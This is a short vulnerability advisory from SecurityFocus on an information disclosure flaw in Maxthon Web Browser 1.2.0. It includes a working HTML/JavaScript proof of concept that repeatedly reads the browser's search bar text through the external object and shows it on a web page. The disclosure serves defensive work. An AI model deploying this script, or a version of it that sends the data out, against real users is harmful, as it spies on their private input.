source: http://www.securityfocus.com/bid/12898/info

Maxthon Web Browser is reported prone to an information disclosure vulnerability. This issue may allow an attacker to disclose search bar contents from an affected browser.

Information disclosed through the exploitation of this vulnerability may aid an attacker in carrying out other attacks against a vulnerable computer.

Maxthon Web Browser 1.2.0 is reported to be vulnerable to this issue. Prior versions may be affected as well.

<html>
<head>
<title>Maxthon's Search Bar Information Disclosure PoC</title>
<script>
function sniff() {
try {
s.value=external.m2_search_text;
}
catch(e) {}
}
function body_onload() {
window.setInterval('sniff()',100);
}
</script>
</head>
<body onload="body_onload()">
Information typed in Maxthon's search bar will be displayed here: <input type="text" id="s" value='' readonly="true" />
</body>
</html> 